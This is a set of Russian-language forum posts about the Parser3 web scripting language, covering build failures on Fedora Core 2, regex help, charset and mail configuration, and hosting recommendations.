../../classes/libclasses.a(file.o)(.text+0x5f7d):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_wcontext.h:74: undefined reference to `terminate(void)'\
\
И её очень много. :(\
Что это такое?\
\
Результат: не собирается\
\
-- info -- \
[darkman@shadow parser3]$ uname -a\
Linux shadow.support.cu.lo 2.6.5-1.358 #1 Sat May 8 09:04:50 EDT 2004 i686 i686 i386 GNU/Linux"
"35353","А почему бы не перейти в UTF8?\
Или база настолько большая, что есть необходимость считать каждый байт информации в базе?"
"35354","файл INSTALL, первый пункт ровно это и говорит.\
\
остальные варианты сборки под unix не пробовали, разбираться не надо было — используемый нами на unix вариант с модулем apache всё равно не использует многопоточность.\
\
замечание: в другом проекте (не parser3) я успешно использую libgc в многопоточном варианте."
"35355","Ну дак всё-таки как собрать его по Fedora Core 2?\
И что это за фигня валится при линковке?"
"35358","приведите строку компоновки.\
поиграйтесь с флажком --with-dynamic-stdcpp"
"35359","Граждане, помогите с придумыванием regexpа..\
Надо из вот таких строчек:\
http://www.yandex.ru/yandsearch?text=%F2%E5%F1%F2&stype=www\
http://www.yandex.ru/yandsearch?text=%F2%E5%F1%F2\
получить слова после text= до конца строки или до следующего '&'..\
У меня получается или одно или другое.. =("
"35360","Чем отличаются\
$response:location\
и\
$response:refresh"
"35362","Я не знаю как составить RegExp/ Сам долго мучился дело в том что при каждом запросе яндекс меняет местами последовательнось &..&.. особенно  если переход не с первой страницы.\
\
Поэтому можно сделать так. Запрос всегда будет text=... Разбиваем \
http://www.yandex.ru/yandsearch?text=%F2%E5%F1%F2&stype=www используя сплит и перебераем в цикле пока не найдём text="
"35363","Так работает. Большое спасибо за подсказку, наверно пропустил в документации возможность записи столбца с символами [].\
\
Сергей"
"35364","Но лучше использовать \"AS\"."
"35365","Пока не придумаю регэксп, так и буду..\
А вообще муторно это и долго. Тем более если text= будет идти не после &, а первым в строке после ?, ещё геморрой.."
"35366","короче ваш способ отражает на 100% мой, но теперь учтите, что если у вас не только поля ГОД ВОЗРАСТ ФАМИЛИЯ...\
\
а где-то штук тридцать.\
\
на самом деле я сделал вримерно так.\
\
1 вынул обе таблицы (новую и старую)\
2 потом join обе (имена столбцов ещё есть)\
3 затем получил ^joined.columns[]\
4 её транспонировал\
5 join к первой\
6 и опять flip\
7 а потом, сравнивая, я получаю имя столбца, который поменялся.\
\
всё."
"35367","Для уникального \"идентификатора\" юзера лучше, конечно, использовать uuid[], uid64[] или пароль, сгенерирвоанный на их остнове.\
Про БД и речи нет.\
\
Но я для интереса провёл эксперимент.\
Так вот, 9999 итераций получения 10-тизначного числа дают 9999 уникальных чисел.\
Код:\
[code]\
$test[^table::create{number\
^for[count](1;9999){$number(^math:random(999999999))^number.format[%010.f]\
}}]\
$test[^test.hash[number][$.distinct(1)]]\
$test[^test._count[]\
==========\
^test.foreach[key;value]{$key\
}]\
^test.save[/test.txt]\
[/code]"
"35369","[code]\
$ref[http://www.yandex.ru/yandsearch?text=test+test+test&stype=www]\
$words[^ref.match[text=(.*)(?:&|^$^$)]]\
$words.1\
[/code]\
Получаем: test+test+test&stype=www\
Или я что-то не так сделал?"
"35371","На будущее, объясните плз, что значит ?:& ?\
Я просто очень похожее что-то придумывал, но \":\" мне ни в какой в документации не встретился.. =("
"35372","У меня было поле INT в доке сказанно \"Если для столбца INT указан параметр UNSIGNED, то величина допустимого интервала для столбца останется той же, но его граничные точки сдвинутся к 0 и 4294967295. Если попытаться записать числа -9999999999 и 9999999999, то в столбце окажутся величины 0 и 4294967296.\" но поскольку я не использовал параметр UNSIGNED, то и значение у меня в два раза меньше.\
\
Решил очень просто сменил тип поля на текстовый.\
\
Для генерации случайного числа я не использовал встроенные функции тк их значения неудобно передавать усно по телефону в виду наличия латинских символов и большой длинны."
"35374","Спасибо. =)"
"35375","Александр, я с этим флажком уже поигрался -- координально ни чего не поменятьсь :(\
Пробывал разные компиляторы (make, gmake) -- эфект тот же. И как мне кажется проблема в libgc, она почему-то не хочет [i]нормально[/i] работать на 2.6.x ядрах. \
\
Сейчас попытаюсь собрать Parser3 с libgc 6.2, может быть что-то получится.\
\
Ещё есть какие-то идеи?\
\
P.S. поиск по форуму -- ни к чему не привёл :("
"35377","[quot]\
Unhandled Exception\
\
change_case_UTF8 error: end pointers do not match\
\
upper\
\
/var/www/devel.deathlife.kiev.ua/html/_test.html(262)\
[/quot]\
Вот такое мне выдал Parser3\
\
Я прочитал документацию, не совсем понял, какую роль играют кодировки для Parser'a.\
\
Возникло несколько вопросов:\
1. Где взять файл кодировок для UTF-8\
2. Правельно ли я понял, что Parser3 перед тем, как отдать что-то клиенту перекодирует в какую-то кодировку.\
3. Как избавится от change_case_UTF8 error: end pointers do not match\
\
--- info ---\
auto.p (тот, что создался из auto.p.in)\
#$Id: auto.p.dist.in,v 1.11 2004/02/13 13:59:51 paf Exp $\
\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
#    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
        $.drivers[^table::set{protocol  driver  client\
mysql   $sqldriversdir/libparser3mysql.so       -configure could not guess-\
pgsql   $sqldriversdir/libparser3pgsql.so       /usr/lib/libpq.so\
oracle  $sqldriversdir/libparser3oracle.so      /var/oracle/OraHome1/lib/libclntsh.so?ORACLE_HOME=/var/oracle/OraHome1&ORA_NLS33=/var/oracle/OraHome1/ocommon/nls/admin/data\
}]\
]\
\
#for ^file:load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext     mime-type\
zip     application/zip\
doc     application/msword\
xls     application/vnd.ms-excel\
pdf     application/pdf\
ppt     application/powerpoint\
rtf     application/rtf\
gif     image/gif\
jpg     image/jpeg\
jpeg    image/jpeg\
png     image/png\
tif     image/tiff\
html    text/html\
htm     text/html\
txt     text/plain\
xml     text/xml\
mts     application/metastream\
mid     audio/midi\
midi    audio/midi\
mp3     audio/mpeg\
ram     audio/x-pn-realaudio\
rpm     audio/x-pn-realaudio-plugin\
ra      audio/x-realaudio\
wav     audio/x-wav\
au      audio/basic\
mpg     video/mpeg\
avi     video/x-msvideo\
mov     video/quicktime\
swf     application/x-shockwave-flash\
}]\
\
$LIMITS[\
        $.post_max_size(10*0x400*0x400)\
]\
\
#$MAIL[\
#       $.sendmail[your sendmail command goes here]\
#       these are tried when no 'sendmail' specified:\
#           /usr/sbin/sendmail -t -i -f postmaster\
#           /usr/lib/sendmail -t -i -f postmaster\
#]\
\
@fatal_error[title;subtitle;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
</html>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
^untaint[html]{<tt>$exception.file^(${exception.lineno}:$exception.colno^)</tt>}\
}\
^if($stack){\
        <hr/>\
        <table>\
        ^stack.menu{\
                <tr><td>$stack.name</td><td><tt>$stack.file^(${stack.lineno}:$stack.colno^)</tt></td></tr>\
        }\
        </table>\
}\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;;\
\
<p>The server encountered an unhandled exception\
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred,\
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
^unhandled_exception_release[$exception;$stack]\
#^unhandled_exception_debug[$exception;$stack]\
\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]"
"35381","1. не надо его нигде брать :)\
2. если $responce:charset отличается от $request:charset - то перекодирует, иначе отправляет как есть.\
3. вы не подключили файлы с кодировками, но пытаетесь задать эти кодировки. тогда уж закомментируйте и определение $responce:charset отличается с $request:charset"
"35383","если всетаки соберете скиньте на e-mail а то у меня хостер тоже на FC2 и ничего не работает (((("
"35384","У вас в базе данных проблема. \"Max\"-ов там 2. Один из них был я но мои треды пропадали, а треды другого \"Max\"-а появлялись у меня. По этому я решил поменять логин. Поменял на \"Харя поттер\".\
  Сегодня PAF попросил меня поменять мой логин. И по-моему даже удалил мой логин(потому что я только-что пытался зайти с логином \"Харя Поттер\" но не смог). По этому я зарегистрировал новый логин \"topchiyev\".\
  Уважаемый PAF, прошу удалить из базы данных мой старый логин \"MAX\" в связи с тем что на мой почтовый ящик указанный в том логине всё еще приходят ответы на вопросы, которые задавал [color=\"ff0000\"]другой[/color] \"Max\"; и во избежание неполадок в вашей базе данных.\
\
Спасибо за терпение и удачный продукт."
"35385","Ещё раз прошу совета! Как создать переменную которая былабы активна(доступна) втечение всего auto.p ?\
Сегодня мне понадобилось создать таблицу с шириной равной ширине одной ячейки меню созданной по примеру Урока 2.\
\
Переменная $cell_width была оъявлена в теле метода @navigation_cell[],\
а в теле следующего метода @body[] я не смог её вызвать.\
\
Я так понял, что переменная активна только в теле метода в котором она определена. [color=\"ff0000\"]Это так?[/color] \
А как тогда можно объявить переменную что-бы она оставалась активной в течении всего auto.p ?\
\
Заранее спасибо."
"35386","cc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/usr/local/lib -lgc   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm\
pa_threads.o(.text+0x25): In function `Mutex::~Mutex(void)':\
/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/pa_threads.C:22: undefined reference to `__builtin_delete'\
parser3.o(.text+0x640): In function `real_parser_handler(char const *, char const *, bool)':\
/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:310: undefined reference to `__eh_alloc'\
parser3.o(.text+0x661):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:310: undefined reference to `__cp_push_exception'\
parser3.o(.text+0x669):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:310: undefined reference to `__throw'\
parser3.o(.text+0xa21):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:440: undefined reference to `terminate(void)'\
parser3.o(.text+0xa42):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:440: undefined reference to `__rethrow'\
parser3.o(.text+0xa49):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:440: undefined reference to `terminate(void)'\
\
\
Т.е. из изучения проблемы я понял то, что есть серьёзная работа с многопоточньстью у Parser3\
\
Сборка его с --disable-threads ни к чему не привела :(\
\
А ключ, который вы мне рекомендовали - не работает, т.е. не что с ним, что без него - не собирается.\
\
Нужно в корне пересматривать механизм многопоточности в Parser3, т.к. 2.4.x ядро жить будет, но не долго."
"35388","по шагам:\
1. распакуйте исходники в новый каталог\
2. configure в каталоге parser3 запустите с дополнительным флагом --with-dynamic-stdcpp\
3. приведите строку компоновки и текст ошибки (если ошибка ещё останется)"
"35390","Я новичок и просто хотелось бы задать для серьезного начала глупый вопрос. Новости сайта полугодовалой давности, не говорит ли это о том, что Parser`ом уже никто не занимается (или он совершенен) ?"
"35391","им занимаются.\
можете посмотреть в CVS.\
можете посмотреть [url=\"http://www.artlebedev.ru/portfolio/web/\"]что делается на парсер в последнее время[/url]\
\
очередная версия (3.1.4) скоро выйдет."
"35392","Данные из строк БД с полем ID 1 2 3 7 8 10 13 15 17 18 по которому производится выборка\
Нужно вывести по 4 в строку, всего 5 строк на странице + ссылка на следующие 10\
Соответственно получить:\
Данные по ID 1 |Данные по ID 2 |Данные по ID 3 |Данные по ID 4 (если нет, то следующие)|\
и т.д.\
Кол-во строк неизвестно.\
\
Буду благодарен за любую подсказку."
"35393","P.S. тут принято так: вы пишите код, показываете его, говорите что вы хотели получить (это вы уже сказали), что получили и вам подсказывают, почему ваш код работает не как задумывалось. за вас тут код писать не будут."
"35395","Устанавливал собранный парсер под redhat  - не заработал\
заставил хостера собрать из исходников.... собрали у хостера в root работает при запуске пишет версию тобишь все показатели жизни... \
запускаем через web и получаем \
Error message: \
Premature end of script headers: parser3.cgi \
\
как решать задачу?\
P.S. хостера отправил на faq по установке они все прочитали и сказали что все условия выполнены."
"35398","Приветствую всех! :)))\
Проблема такова.\
Веб-сервер у клиента настроен достаточно криво и поддержка никудышная, администратор неуловим и некомпетентен. :))) Поэтому есть подозрение, что Sendmail на сервере лежит совсем в другом месте, чем /usr/sbin/sendmail (по умолчанию в бинарниках Парсера с этого сайта). Добиться от администратора собрать Парсер из исходников с правильным путем к почтовой программе не очень возможно. Поэтому надеялся на то, что просто пропишу в конфигурационном файле SMTP-сервер.\
После того, как вставил строки\
$MAIL[\
   $.SMTP[mail.client_domain.ru]\
]\
при попытке сделать ^mail:send стал получать ошибку: 'send' $MAIN:MAIL.sendmail not defined [parser.runtime]\
Зачем Парсер пытается искать Sendmail? Прошу помощи! :)))"
"35399","Есть хостинг с поддержкой CGI.\
Зарегистрировал домен.\
А как туда Parser прилепить??? и возможно ли это?"
"35401","Люди ! Умоляю ... сколько на форумах перечитал и так не доперло ....\
В документации ничего не понятно..\
Всеже может обьяснит кто зачем нужен JUNCTION \
\
И с примером кода плиззззз"
"35402","[quot]\
Класс предназначен для хранения [b]кода[/b] и [b]контекста[/b] его выполнения.\
При обращении к переменным, хранящим в себе junction, Parser выполняет код в сохраненном контексте.\
[/quot]\
[i]документация[/i]\
\
что не понятного-то? вопрос задайте конкретнее."
"35403","Главный auto.p\
^if($rightset is junction){^rightset[]}{Дефолтный раздел}\
\
auto.p одного из разделов:\
@rightset[]\
То что нужно показывать мне в этом разделе.\
@mainbody[]\
раздел\
\
Т.е. если у меня @rightset[] присутствует в подразделе- выводится он, а если не указан, выводится стандартный текст. \
(для меня актуально, для некоторых разделов сайта в колонке своя панель управления, а для других просто новости).\
Не по прямому назначению конечно, но удобно."
"35405","Где ее достать?"
"35406","не надо вещь \"херней\" называть, если вам она не понятна по причине вашей же безграмотности..."
"35407","не xml, но все же [url=\"http://jtvrus.promotec.ru/bases/index.htm\"]http://jtvrus.promotec.ru/bases/index.htm[/url]"
"35408","а что сказал Апач в свой error_log?"
"35410","И не факт, что он ещё будет работать на бесплатном хостинге! Да и не забудь узнать какая OC там стоит. Если не знаешь можешь попробовать подобрать методом тыка! И скачай нужные дрова.\
А вообще я тебе рекомендую всё таки воспользоваться платным дешёвым хостингом. Таким как например на  [url=\"http://www.pwstudio.ru/russian/\"]www.pwstudio.ru[/url] Что ты не заплатишь $5 за 17 месяцев? Да ещё и c MySQL. Тем более что там уже установлен parser."
"35412","Фирма обладающая правами на трансляцию программы в интернете. :(\
Но дерут бешенные бабки. Около 400 долларов в месяц.\
Проще договориться с местмым газетным изданием на предоставление программки, что я собственно и сделал. Пусть они присылают не в xml, но ведь мозг то для чего-то человеку дан. :)"
"35414","Прошу прощения за offtopic. \
\
Возникла тут необходимость в самом наипростейшем бесплатном хостинге - сунулся и увидел, что всякие by.ru, hut.ru, webservis.ru никого больше не берут. Что вообще просходит и кого постоветуете как альтернативу? Никаких изысков не нужно - только пару мегабайт места    и ftp-доступ..."
"35415","Вообще мне нравится nm.ru, но без парсера"
"35416","Кто возьмется? могу выделить 100wmz (может кто еще выделит)"
"35417","К сожалению не на одном из этих хостингов parser работать не будет."
"35418","почему бы и нет?\
хороший способ продвижение языка в массы, о нём хоть узнают!"
"35422","Вы определяете методы? Вроде получается, что они и есть те самые переменные типа junction."
"35423","Даже с парсером.."
"35424","кому надо срочно, в CVS|HEAD уже лежит"
"35425","Посоветуйте что-то типа narod.ru, но не narod.ru :-) - с ftp-доступом, десятком мегабайт места и доменом третьего уровня, и чтобы лежал не больше половины дня в среднем."
"35428","1. Сделано\
make clean\
make distcrean\
Result: OK\
2.\
./configure --with-dynamic-stdcpp\
make\
В ответ на мы получаем:\
pa_threads.o(.text+0x25): In function `Mutex::~Mutex(void)':\
/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/pa_threads.C:22: undefined reference to `__builtin_delete'\
parser3.o(.text+0x640): In function `real_parser_handler(char const *, char const *, bool)':\
/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:310: undefined reference to `__eh_alloc'\
parser3.o(.text+0x661):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:310: undefined reference to `__cp_push_exception'\
parser3.o(.text+0x669):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:310: undefined reference to `__throw'\
parser3.o(.text+0xa21):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:440: undefined reference to `terminate(void)'\
parser3.o(.text+0xa42):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:440: undefined reference to `__rethrow'\
parser3.o(.text+0xa49):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:440: undefined reference to `terminate(void)'\
parser3.o(.text+0xcba): In function `main':\
/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:675: undefined reference to `__cp_pop_exception'\
parser3.o(.text+0xcc7):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:675: undefined reference to `__rethrow'\
parser3.o(.text+0xcd4):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:675: undefined reference to `__rethrow'\
parser3.o(.text+0xcd9):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:675: undefined reference to `__start_cp_handler'\
parser3.o(.text+0xdb2):/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C:669: undefined reference to `__cp_pop_exception'\
parser3.o(.gnu.linkonce.t.__tf9Exception+0x1d): In function `Exception type_info function':\
/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/parser3.C: undefined reference to `__rtti_user'\
../../main/libmain.a(pa_common.o)(.text+0x390): In function `http_read_response(char *&, unsigned int &, int, bool)':\
/var/spool/samba/Svalka/parser/parser3/src/main/pa_common.C:185: undefined reference to `__eh_alloc'\
../../main/libmain.a(pa_common.o)(.text+0x3b1):/var/spool/samba/Svalka/parser/parser3/src/main/pa_common.C:185: undefined reference to `__cp_push_exception'\
../../main/libmain.a(pa_common.o)(.text+0x3b9):/var/spool/samba/Svalka/parser/parser3/src/main/pa_common.C:185: undefined reference to `__throw'\
../../main/libmain.a(pa_common.o)(.text+0x41a):/var/spool/samba/Svalka/parser/parser3/src/main/pa_common.C:193: undefined reference to `__eh_alloc'\
../../main/libmain.a(pa_common.o)(.text+0x43b):/var/spool/samba/Svalka/parser/parser3/src/main/pa_common.C:193: undefined reference to `__cp_push_exception'\
../../main/libmain.a(pa_common.o)(.text+0x443):/var/spool/samba/Svalka/parser/parser3/src/main/pa_common.C:193: undefined reference to `__throw'\
../../main/libmain.a(pa_common.o)(.text+0x449):/var/spool/samba/Svalka/parser/parser3/src/main/pa_common.C:193: undefined reference to `terminate(void)'\
../../main/libmain.a(pa_common.o)(.text+0x451):/var/spool/samba/Svalka/parser/parser3/src/main/pa_common.C:193: undefined reference to `terminate(void)'\
../../main/libmain.a(pa_common.o)(.text+0x485): In function `http_request(char *&, unsigned int &, char const *, int, char const *, int, bool)':\
/var/spool/samba/Svalka/parser/parser3/src/main/pa_common.C:221: undefined reference to `__eh_alloc'\
(кусь-кусь)\
../../lib/smtp/libsmtp.a(smtp.o)(.text+0x9be): In function `SMTP::prepare_message(char *, char *, char const *, char const *)':\
/var/spool/samba/Svalka/parser/parser3/src/lib/smtp/smtp.C:466: undefined reference to `__eh_alloc'\
../../lib/smtp/libsmtp.a(smtp.o)(.text+0x9e4):/var/spool/samba/Svalka/parser/parser3/src/lib/smtp/smtp.C:466: undefined reference to `__cp_push_exception'\
../../lib/smtp/libsmtp.a(smtp.o)(.text+0x9ec):/var/spool/samba/Svalka/parser/parser3/src/lib/smtp/smtp.C:466: undefined reference to `__throw'\
../../lib/smtp/libsmtp.a(smtp.o)(.text+0xa65):/var/spool/samba/Svalka/parser/parser3/src/lib/smtp/smtp.C:476: undefined reference to `terminate(void)'\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Error 1\
make[3]: Leaving directory `/var/spool/samba/Svalka/parser/parser3/src/targets/cgi'\
make[2]: *** [all-recursive] Error 1\
make[2]: Leaving directory `/var/spool/samba/Svalka/parser/parser3/src/targets'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/var/spool/samba/Svalka/parser/parser3/src'\
make: *** [all-recursive] Error 1\
\
\
Не зависимо от ключей - ошибка остаётся.  :("
"35429","На всякий случай выкачал свещий CVS и попытался собрать - точно такой же результат как и в прошлый раз :("
"35430","А можно попросить хостера показать как он собирал его под FC2?\
У меня уже неделю не получается его собрать, по 4 часа каждый день трачу :("
"35431","Александр, спасибо - то что надо!"
"35432","а то вдруг кто не так понял"
"35433","[b]http://www.pwstudio.ru/[/b]\
\
Дают бесплатный месяц вместе с установленным парсером, мусклом, и пятеркой мегабайт на диске."
"35434","перечитайте, что прошу сделать и какую информацию прошу предоставить.\
\
вы делаете не то и предоставляете не всё."
"35437","1	http://nm.ru		заходить в админ панель раз в 50 дней\
2	http://newmail.ru	заходить в админ панель раз в 50 дней\
3	http://hotmail.ru	заходить в админ панель раз в 50 дней\
4	http://nightmail.ru	заходить в админ панель раз в 50 дней\
\
5	http://chat.ru\
6	http://boom.ru/\
\
7	http://kub.kz/host/	Сайты, не обновлявшиеся в течение 60 дней, удаляются\
\
8	http://greenline.ru/"
"35438","Нужно загруженые из БД данные разместить следующим образом.\
по 4 в строке и всего в 5 строках.\
|x|x|x|x|\
|x|x|x|x|\
|x|x|x|x|\
|x|x|x|x|\
|x|x|x|x|"
"35440","Вызываю ^refresh[${request:uri}]\
[code]\
@refresh[path]\
$response:location[$path]\
$response:refresh[\
   $.value[0]\
   $.url[$path]\
]\
[/code]\
К примеру /consult/ - все нормально, из /consult/?id=8 сервер пишет:\
\
You don't have permission to access /consult/?id=8 on this server."
"35442","You don't have permission to access /narcology/?id=7 on this server.\
\
Хотя когда редактирую /narcology/ - все в порядке у меня Денвер на Win XP (если это имеет значение)"
"35445","ПО поводу примера о написании чисел прописью.\
Что-то я не понял, откуда там взялся метод number_format. В классе он не определен. Требуется еще какой-то класс?\
И, кстати говоря, НДС сейчас уже не 20%, а 18"
"35446","погодите, - у меня 3.1.3 на Linux все отправляет или он игнорирует $.SMTP и отправляет стандартной командой?\
\
В доке написано тоже:\
[code]\
…под Windows и UNIX (под UNIX [3.1.2]) адрес SMTP-сервера\
$MAIL[\
   $.SMTP[mail.office.design.ru]\
]\
[/code]"
"35449","Пока ответа ждал так сделал - /path/?id=12&fresh=${request:uri}\
[code]\
@meta[]\
^if(def $form:fresh){\
<meta http-equiv=\"Refresh\" content=\"0^; URL=${form:fresh}\">\
}\
[/code]\
На Эксплордере работает :)"
"35450","Перевел базу на новый сервер и переделал на UTF-8 и получил грабли с select-ом с использованием REGEXP из MySQL. Без REGEXP работает. Значение для REGEXP получаем из html-формы ($form)\
\
В настройках парсера $request:charset[UTF-8] $response:charset[windows-1251].\
\
MySQL 4.1.7 запущен с --character-set-server=UTF8.\
\
Не пойму я откуда смесь UTF-8 и latin1 (тем более swedish) получается.\
\
Текст ошибки:\
\
select uid, description from trk having (description \
REGEXP 'test')\
Illegal mix of collations (utf8_general_ci,IMPLICIT) and (latin1_swedish_ci,COERCIBLE) for operation 'regexp'\
/var/httpd/www/idnx/1.html(56:15) \
--------------------------------------------------------------------------------\
sql /var/httpd/www/idnx/1.html(56:15) \
nodes /var/httpd/www/idnx/1.html(56:2) \
connect /var/httpd/www/idnx/1.html(30:2) \
\
---\
dimap"
"35451","parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/home/admin/domains/photoimperial.com/public_html/../../magick/im/bin//convert', fuid(3002)!=euid(1006) or fgid(1000)!=egid(1006)\
\
Как избежать этой ошибки без перекомпилирования Парсера?"
"35452","положить эту программу к себе в cgi-bin и запускать от себя."
"35453","Что значит от себя запустить? Программа лежит в моей домашней директории. То есть вот здесь: '/home/admin/domains/magick/im/bin/'.\
\
\
Разве этого не достаточно? Или у cgi-bin особые свойства на этот счет?"
"35454","Пользователь производящий чтение не прининадлежит группе пользователей или не является пользователем которому сие разрешено."
"35456","1. как уже было замечено, после установки пакета SP2 достучаться до дополнительных 127.0.0.х не получается. (upd.>) Судя по всему это безобразие позиционируется как некая полезная фича, подробнее она описана [url=\"http://support.microsoft.com/default.aspx?kbid=884020\"]на сайте изготовителя[/url], там-же можно найти небольшой патчик, которым всё это дело весьма успешно крякается.\
\
2. после \"остановить всё и выйти\" в памяти остаётся некий mysqld-opt.exe, который в последствии мешает инсталяции пакета (файл заблокирован и не может быть обновлен) и повторному запуску (невозможно запустить MySQL - порт 3306 занят или заблокирован firewall'ом). \
\
+. в старой версии отсутствовали некоторые файлы с кодировками."
"35457","Ссылку на patch вставлю.\
\
Почему при остановке не убивается процесс MySQL'я - не понимаю. Доберусь до машины с XP SP2 - поэкспериментирую."
"35458","Как и обещал несколькими тредами раньше, я попробовал приладить внешнюю программу по проверке орфографии в тексте.\
\
Называется она iSpell, распространяется бесплатно.\
\
Проблем с подключением практически не возникло, за исключением кодировки. Сайт работает с windows-1251, а библиотека принимает только koi8-r. Но и это не стало проблемой. Оказалось что при запуске ^file::exec можно передать кодировку в виде хеша. Это недокументированное ранее новшество волшебным образом делает всю работу по перекодировке одним большим удовольствием.\
\
Спаибо Misha v.3 и PAF-у.\
\
P.S. Рабочий вариант можно посмотреть здесь: http://www.typograf.ru"
"35459","устойчивое ощущение того, что ты постоянно бьешся лбом об одну и ту же стену и ничему не учишься :))"
"35460","Предположим есть предприятие, которому нужно создать свою внутреннюю базу данных для учета клиентов, поставщиков, заказов и их управлением. \
Разные предприятия подходят к этому по-разному: используется Excell (очень ограниченные функции), Access, программы на Delphi, бухгалтерские программы...\
А если сделать такую базу на Parser (в связке с MySQL)?\
Какие плюсы и минусы?\
Плюсы, по-моему:\
- гибкий подход к реализации поставленных задач: можно сделать любые запросы, отчеты, формы...\
- легко настраиваемый стиль и интерфейс\
- привычный web-интерфейc (в отличие, скажем, от Access, к которому нужно еще привыкнуть)\
- в перспективе, наверно, можно сделать связь с бухгалтерской программой\
\
Возможные минусы:\
- на компе требуется установленный Apache+MySQL+Parser (хотя для Excell и Access тоже требуется Office, причем желательно лицензионный)\
- минус для разработчика: не сделать хорошей защиты своего кода, и он может распространяться уже без самого разработчика\
- может, какие-то сложности в работе с базой в локальной сети?\
\
Что еще нужно учесть при выборе средства разработки (конечно, кроме знаний разработчика :))?"
"35461","Было бы здорово, если бы он еще предлагал варианты исправления ошибок в виде списка (как на Яндекс.Почте)\
\
:)"
"35462","С плюсами согласен. От себя добавлю, что основной плюс для разработчика - получение \"лицензионного\" продукта без начальных вложений. Чтобы сделать что-то лицензионное на платформе Win32, нужно купить сначала например Delphi (насколько помню около 5000$). А здесь все технологии открытые и бесплатные. И связка MySQL-Parser[-XML-XSL]-HTML-JavaScript может дать продукт, по функциям полностью аналогичный решению например MySQL+Delphi.\
И в идеале систему можно построить на полностью бесплатном ПО. *nix-сервер с СУБД+Parser + Linux-станция с фриварным браузером.\
Все функционально и все достаточно стабильно.\
\
Про минусы:\
1. про установленный Apache+MySQL+Parser на компе - не согласен с идеологией. Идеология должна быть - клиент-сервер. По возможности конечно. \
2. Про защиту кода - согласен. Но никто не заставляет вас отдавать людям конфигурационные инструменты для своей системы. Можно пойти по пути быстрой платной адаптации системы под конкретного заказчика.\
3. Parser - специально созданный язык для скриптования веб-страниц. То есть по сути для продуктов, работающих в Сети. Значит и в сети все должно быть ок...\
\
Добавлю от себя про минусы:\
1. Лично я сильно соскучился по отладчику. Отладка программ на этой платформе значительно более трудоемка чем в компилируемых языках. Но ничего, вообщем то уже привык..."
"35463","нашёл словари в windows-1251, кстати. Руки дойдут - опишу свой подход и выложу.\
\
Кстати, я реализую вывод результатов проверки чуть по-другому - на месте подозрительного для ispell слова вывожу выпадающий список с вариантами. По-моему, так функциональнее."
"35464","http://php.russofile.ru/phpGACL.html\
\
Довольно интересная идея, которую можно реализовать на Парсере.\
Просто сам недавно занимался вопросом этим вопросом, а реализация в классе AUTH из примеров не особенно подходила."
"35465","В моём случае это не требуется, хотя можно и с выпадающим списком. Просто есть масса подводных камней, которые мешают осуществить подобную фишку в полном объёме. Например буква ё, или написание разными регистрами.\
По-моему проще просто подчеркнуть слова как в ворде."
